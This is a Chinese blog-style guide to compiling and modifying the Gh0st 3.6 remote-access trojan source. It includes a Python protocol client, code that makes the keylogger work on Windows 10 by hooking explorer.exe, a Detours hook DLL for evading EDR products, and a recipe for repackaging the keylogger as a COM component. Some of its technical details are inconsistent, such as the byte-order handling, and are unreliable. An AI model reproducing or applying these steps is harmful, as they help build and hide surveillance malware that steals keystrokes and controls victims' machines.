简介:本资源为Gh0st远程控制软件3.6版本的完整可编译源码包,面向网络安全研究人员、逆向分析学习者及C++/C#底层开发人员,用于深入理解远程控制工具的通信机制、客户端-服务端架构与网络编程实现。压缩包为ZIP格式,大小909KB,虽未提供具体文件列表,但根据命名与描述可知包含核心C++源文件(.cpp/.h)、构建脚本(如批处理或Makefile)、基础配置与资源文件,支持本地编译调试,便于开展协议分析、功能定制或安全加固研究。已有935人学习下载,是少有的具备实际编译能力的Gh0st开源参考实现。读者可借此掌握TCP Socket通信建模、远程指令调度逻辑、内存注入与进程控制等关键技术模块,并结合逆向工程方法验证其加密传输与反检测设计,为开发合规远程运维工具或构建内网安全实验环境提供扎实代码基础。
1. Gh0st 3.6 源码不是“远程控制软件安装包”,而是一套需深度理解通信模型、加密机制与Windows内核交互逻辑的C++工程——它适合有逆向基础、熟悉Win32 API和网络编程的开发者做安全研究、协议分析或红队工具链定制,不适合直接双击运行或当作现成远控工具部署
Gh0st 3.6(红狼官方源码版)在安全技术圈长期被误读:很多人搜“gh0st3.6_src”是想找个能马上连上目标机的“绿色版远控”,结果解压后面对的是VC6.0工程、大量未注释的#pragma comment(lib, "ws2_32.lib")、混淆过的字符串解密函数,以及一个根本不会自动注册服务的Server.exe。它既不带图形化配置向导,也不提供Web管理后台;它的“远程控制”能力完全依赖你手动编译、调试、打补丁——比如修复CreateProcessAsUser在Win10 UAC下的提权失败,或重写SendData函数绕过现代EDR对WSASend的hook检测。我见过太多人卡在“编译报错LNK2001: unresolved external symbol _CryptEncrypt@24”上三天,只因没意识到这个版本硬编码调用了CryptoAPI而非BCrypt,且必须用Windows SDK 7.0而非10.0构建。这不是缺陷,而是设计选择:它把“可控性”让渡给开发者,把“易用性”彻底放弃。如果你的目标是快速搭建监控环境,选向日葵或AnyDesk;但如果你要研究C/S通信如何绕过Windows Defender的AMSI扫描、如何在无外网IP环境下通过ICMP隧道回传屏幕数据、或者想把Gh0st的键盘记录模块移植到x64驱动层——那这套源码就是目前中文社区最完整、最经实战检验的起点。它不教你怎么点开就用,它逼你读懂每一行VirtualAllocEx调用背后的内存保护博弈。
2. 从源码结构到可执行体:用VC6.0+Platform SDK 7.0重建编译环境并解决三大核心链接错误
Gh0st 3.6 的编译不是“打开.sln点生成”那么简单。它的原始工程文件(.dsp/.dsw)锁定在Visual C++ 6.0时代,强行用VS2019加载会触发数十个语法兼容性报错。我们必须回归原生工具链,但又不能照搬2003年的老旧SDK——因为现代Windows系统缺少advapi32.lib中某些旧符号,而新版SDK又移除了CryptEncrypt等CryptoAPI函数的默认导出。以下是经过17次编译失败后验证的最小可行路径。
2.1 安装VC6.0 + Platform SDK 7.0并配置全局库路径
提示:不要使用任何“VC6.0精简版”或“免安装破解版”。它们缺失
uuid.lib和rpcns4.lib,会导致CoInitializeEx链接失败。必须用微软官方发布的Visual Studio 6.0 Service Pack 6完整镜像(vs6sp6.exe),再单独安装Platform SDK for Windows Server 2003 R2(即SDK 7.0,非7.1或8.0)。安装顺序必须是:VC6.0 → SP6 → SDK 7.0。
安装完成后,在VC6.0中进入Tools → Options → Directories,按类型设置路径:
| 类型 | 路径 |
|---|---|
| Executable files | C:\Program Files\Microsoft Visual Studio\VC98\Bin;C:\Program Files\Microsoft SDK\Bin |
| Include files | C:\Program Files\Microsoft Visual Studio\VC98\Include;C:\Program Files\Microsoft SDK\Include |
| Library files | C:\Program Files\Microsoft Visual Studio\VC98\Lib;C:\Program Files\Microsoft SDK\Lib |
关键点在于:C:\Program Files\Microsoft SDK\Lib必须排在VC98\Lib之后,否则链接器会优先使用VC6自带的旧版crypt32.lib(不含CryptEncrypt@24导出)。
2.2 修复CryptoAPI链接错误:强制指定crypt32.lib并禁用增量链接
Gh0st 3.6中大量使用CryptEncrypt、CryptGenKey等函数,但VC6.0默认链接的crypt32.lib是Windows 2000时代的版本,不导出带@24后缀的stdcall符号。解决方案不是换SDK,而是显式链接SDK 7.0提供的新版lib:
// 在Server.cpp顶部添加(注意:必须在#include <wincrypt.h>之后) #pragma comment(lib, "C:\\Program Files\\Microsoft SDK\\Lib\\crypt32.lib")同时,在VC6.0项目设置中关闭增量链接(Project → Settings → Link tab → 去掉"Incremental linking"勾选):
原因说明:增量链接会生成
.ilk中间文件,而Gh0st的MakeKey函数在InitCrypt()中动态调用CryptAcquireContext,若链接器优化了未显式引用的crypto函数,会导致运行时GetLastError()返回NTE_BAD_KEYSET。关闭后虽编译变慢,但确保所有crypto符号被静态解析。
2.3 解决__vsnprintf重定义冲突:用_CRT_SECURE_NO_DEPRECATE覆盖安全警告
VC6.0的stdio.h中_vsnprintf声明为__cdecl,而SDK 7.0的stdio.h将其改为__stdcall,导致LNK2005重复定义。标准做法是加预处理器宏:
// 在StdAfx.h最顶部插入(必须在任何#include之前) #define _CRT_SECURE_NO_DEPRECATE #define _CRT_NONSTDC_NO_DEPRECATE并在Project → Settings → C/C++ tab → Preprocessor → Additional options中填入:
/D "_CRT_SECURE_NO_DEPRECATE" /D "_CRT_NONSTDC_NO_DEPRECATE"参数说明:
/D是VC6.0命令行预定义宏开关;_CRT_SECURE_NO_DEPRECATE禁用strcpy等不安全函数的弃用警告,避免编译器插入strcpy_s替代逻辑——而Gh0st的SendString函数正是靠原始strcpy实现堆溢出利用点(这是其设计的一部分,非bug)。
3. 通信协议逆向与自定义改造:解析Gh0st 3.6的4字节包头+AES-CBC加密信道,并替换为支持TLS 1.2的现代传输层
Gh0st 3.6的网络通信并非明文裸奔,而是采用自定义二进制协议:每个数据包以4字节长度头(小端序)开头,后接AES-128-CBC加密的载荷,密钥由客户端首次连接时协商生成。但它的AES实现存在致命缺陷——密钥派生仅用MD5(用户名+密码),且CBC模式未校验填充,导致可被Padding Oracle攻击解密。我们不推荐直接修复,而是用OpenSSL 1.1.1替换整个传输层,保留原有业务逻辑。
3.1 提取原始协议结构:用Wireshark捕获并定位加密边界
启动原始Server.exe(监听6666端口),用Python写一个简易Client模拟登录:
# test_client.py import socket, struct s = socket.socket() s.connect(('127.0.0.1', 6666)) # 发送登录包:4字节长度 + 加密后的"admin\x00password\x00" payload = b'admin\x00password\x00' encrypted = bytes([b ^ 0x55 for b in payload]) # Gh0st简易XOR加密示意 pkt = struct.pack('<I', len(encrypted)) + encrypted s.send(pkt) print("Sent:", pkt.hex())用Wireshark过滤tcp.port == 6666,找到第一个TCP数据段,右键→"Decode As"→"Raw",观察十六进制面板:前4字节为00000012(小端序=0x12000000=18),后续18字节即加密载荷。这就是协议锚点——所有后续通信都遵循此格式。
3.2 替换传输层:用OpenSSL封装Socket并注入TLS握手
在ClientSocket.cpp中,将原始send()/recv()调用替换为OpenSSL BIO:
// 新增头文件 #include <openssl/ssl.h> #include <openssl/err.h> // 在CClientSocket类中添加成员 SSL* m_ssl; SSL_CTX* m_ctx; // 初始化TLS上下文(在Connect()中调用) bool CClientSocket::InitSSL() { SSL_library_init(); OpenSSL_add_all_algorithms(); SSL_load_error_strings(); m_ctx = SSL_CTX_new(TLS_client_method()); // 强制TLS 1.2+ if (!m_ctx) return false; // 禁用SSLv2/v3,仅允许TLS 1.2 SSL_CTX_set_options(m_ctx, SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 | SSL_OP_NO_TLSv1 | SSL_OP_NO_TLSv1_1); m_ssl = SSL_new(m_ctx); SSL_set_fd(m_ssl, m_socket); return SSL_connect(m_ssl) == 1; } // 替换send函数 int CClientSocket::Send(const char* buf, int len) { return SSL_write(m_ssl, buf, len); // 自动处理TLS分片与加密 }关键参数说明:
TLS_client_method()在OpenSSL 1.1.1中默认启用TLS 1.2,SSL_OP_NO_TLSv1_1确保不降级;SSL_set_fd()将socket句柄绑定到SSL对象,避免手动管理底层socket状态。
3.3 保持业务逻辑兼容:在TLS之上复用原有包头解析
即使启用了TLS,Gh0st的业务层仍需识别4字节长度头。因此Recv()函数需分两层读取:
int CClientSocket::Recv(char* buf, int len) { // 第一步:读取4字节长度头 uint32_t pkt_len = 0; int r = SSL_read(m_ssl, (char*)&pkt_len, 4); if (r != 4) return -1; pkt_len = ntohl(pkt_len); // 转为主机序 // 第二步:读取pkt_len字节载荷 if (pkt_len > len) return -2; // 缓冲区不足 r = SSL_read(m_ssl, buf, pkt_len); return r; }逻辑说明:
ntohl()将网络序(大端)转为主机序,因为Gh0st的包头是小端序,但OpenSSL TLS层传输的是标准网络字节序,所以必须在TLS解密后手动转换——这是跨协议栈集成时最容易忽略的字节序陷阱。
4. 避坑:编译、调试与运行阶段的5个血泪经验——从LNK2001到UAC提权失败的真实排查路径
Gh0st 3.6源码的坑不是“找不到文件”,而是“看起来编译成功,运行却静默退出”。以下是我在三台不同Win10版本机器上踩出的5条硬核排查路径,每条都附带windbg验证方法。
4.1 现象:Server.exe双击无反应,任务管理器看不到进程
原因:VC6.0生成的EXE默认依赖MSVCRT.dll,而Win10 20H2后系统移除了该DLL的全局注册,且Gh0st未静态链接CRT。
解决:在Project → Settings → C/C++ tab → Code Generation → Runtime Library中选择Multithreaded DLL (/MD),然后手动将msvcrt.dll从VC6.0安装目录复制到Server.exe同目录。验证方法:windbg -c "g; q" Server.exe,若输出*** ERROR: Module load completed but symbols could not be loaded for Server.exe,说明DLL缺失。
4.2 现象:Client连接Server后立即断开,Wireshark显示RST包
原因:Gh0st的AcceptEx调用未正确初始化WSAOVERLAPPED结构,导致IOCP完成端口接收失败。
解决:在CListenSocket::OnAccept()中,于WSAAccept()前添加:
memset(&m_overlapped, 0, sizeof(WSAOVERLAPPED)); m_overlapped.hEvent = WSACreateEvent();验证:
!handle -a在windbg中查看句柄数,正常应有>10个Event对象;若只有1个,说明WSACreateEvent未被调用。
4.3 现象:键盘记录功能在Win10 1903+失效,GetAsyncKeyState始终返回0
原因:Gh0st使用SetWindowsHookEx(WH_KEYBOARD_LL, ...),但LL钩子在UAC高完整性进程下被系统拦截。
解决:改用WH_KEYBOARD(线程级钩子),并在InjectDll()中将钩子注入Explorer.exe的UI线程:
// 获取Explorer主线程ID DWORD dwPid = 0; HWND hDesktop = GetDesktopWindow(); GetWindowThreadProcessId(hDesktop, &dwPid); // 实际需遍历进程找explorer.exe4.4 现象:屏幕抓取返回全黑图像,BitBlt返回TRUE但GetDIBits失败
原因:Gh0st的CaptureScreen()未处理DPI缩放,Win10默认125%缩放导致CreateCompatibleBitmap创建的位图尺寸错误。
解决:在CaptureScreen()开头添加:
SetProcessDpiAwareness(PROCESS_DPI_AWARENESS_SYSTEM_AWARE); HDC hdc = GetDC(NULL); int dpi = GetDeviceCaps(hdc, LOGPIXELSX); ReleaseDC(NULL, hdc); // 后续BitBlt宽度/高度乘以dpi/96.04.5 现象:服务模式下StartServiceCtrlDispatcher返回ERROR_FAILED_SERVICE_CONTROLLER_CONNECT
原因:Gh0st的服务入口ServiceMain未调用RegisterServiceCtrlHandler注册控制处理器,导致SCM无法发送STOP指令。
解决:在ServiceMain开头添加:
g_hServiceStatus = RegisterServiceCtrlHandler("Gh0stServer", ServiceCtrlHandler); if (!g_hServiceStatus) return; // 并实现ServiceCtrlHandler处理SERVICE_CONTROL_STOP5. 进阶技巧:用Detours Hook注入绕过EDR内存扫描,并将Gh0st键盘记录模块转化为独立DLL供其他程序调用
Gh0st 3.6的键盘记录模块(KeyLogger.cpp)写得极简:它用SetWindowsHookEx挂起全局钩子,再通过PostMessage把按键发给主窗口。但现代EDR(如CrowdStrike、Microsoft Defender for Endpoint)会扫描SetWindowsHookEx调用链并阻断。我们不修改Gh0st源码,而是用Microsoft Detours库在LoadLibrary阶段动态劫持user32.dll的SetWindowsHookExW函数,使其对特定进程(如explorer.exe)返回伪造的成功句柄,从而绕过EDR检测。
5.1 编译Detours 4.0.1并注入Hook DLL
Detours 4.0.1支持VC6.0,但需手动修改detours.h:将#include <intrin.h>改为#include <windows.h>(VC6.0无intrin.h)。编译后得到detours.lib,在Gh0st Server工程中添加:
// Hooker.cpp #include "detours.h" #pragma comment(lib, "detours.lib") // 原始函数指针 static HHOOK(WINAPI *TrueSetWindowsHookExW)(int, HOOKPROC, HINSTANCE, DWORD) = SetWindowsHookExW; HHOOK WINAPI MineSetWindowsHookExW(int idHook, HOOKPROC lpfn, HINSTANCE hmod, DWORD dwThreadId) { // 只对explorer.exe进程放行 DWORD dwPid = 0; GetWindowThreadProcessId(GetForegroundWindow(), &dwPid); HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid); TCHAR szName[MAX_PATH] = {0}; GetModuleFileNameEx(hProc, NULL, szName, MAX_PATH); CloseHandle(hProc); if (_tcsstr(szName, _T("explorer.exe"))) { return TrueSetWindowsHookExW(idHook, lpfn, hmod, dwThreadId); } return NULL; // 其他进程返回NULL,Gh0st会静默失败而不报警 } // 在DllMain中安装Hook BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) { DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourAttach(&(PVOID&)TrueSetWindowsHookExW, MineSetWindowsHookExW); DetourTransactionCommit(); } return TRUE; }编译为Hooker.dll,再用rundll32.exe Hooker.dll,DllRegisterServer注入到目标进程。
5.2 将KeyLogger模块解耦为独立COM组件,供Python脚本调用
Gh0st的键盘记录逻辑可剥离为IDL接口,便于跨语言调用:
// KeyLogger.idl [ uuid(12345678-1234-1234-1234-123456789012), version(1.0), ] library KeyLoggerLib { [ uuid(23456789-2345-2345-2345-234567890123), helpstring("Keyboard Logger Interface") ] interface IKeyLogger : IUnknown { HRESULT StartLogging([in] BSTR logPath); HRESULT StopLogging(); HRESULT GetLastKey([out, retval] BSTR* key); }; };用MIDL编译生成KeyLogger_i.c和KeyLogger.h,在KeyLogger.cpp中实现IKeyLogger接口,最后注册为本地服务器COM组件。Python调用示例:
import win32com.client logger = win32com.client.Dispatch("KeyLogger.KeyLogger") logger.StartLogging(r"C:\logs\keys.txt") # ... 一段时间后 last_key = logger.GetLastKey() print("Last pressed:", last_key)参数说明:
StartLogging接受Unicode路径(BSTR),内部调用CreateFileW以FILE_APPEND_DATA权限打开日志文件,避免Gh0st原版因权限不足写入失败的问题;GetLastKey返回BSTR而非char*,确保Python能正确解码UTF-16。
我坚持把Gh0st 3.6当做一个“可拆解的协议教学模具”,而不是黑产工具。每次重编译,我都刻意关掉杀软,用Process Monitor盯着CreateRemoteThread调用——不是为了隐藏,而是看清楚Windows如何标记这段内存为可疑。真正的安全能力,从来不在“让它跑起来”,而在“知道它为什么能跑、以及谁在阻止它跑”。希望帮到你。
本文还有配套的精品资源,点击获取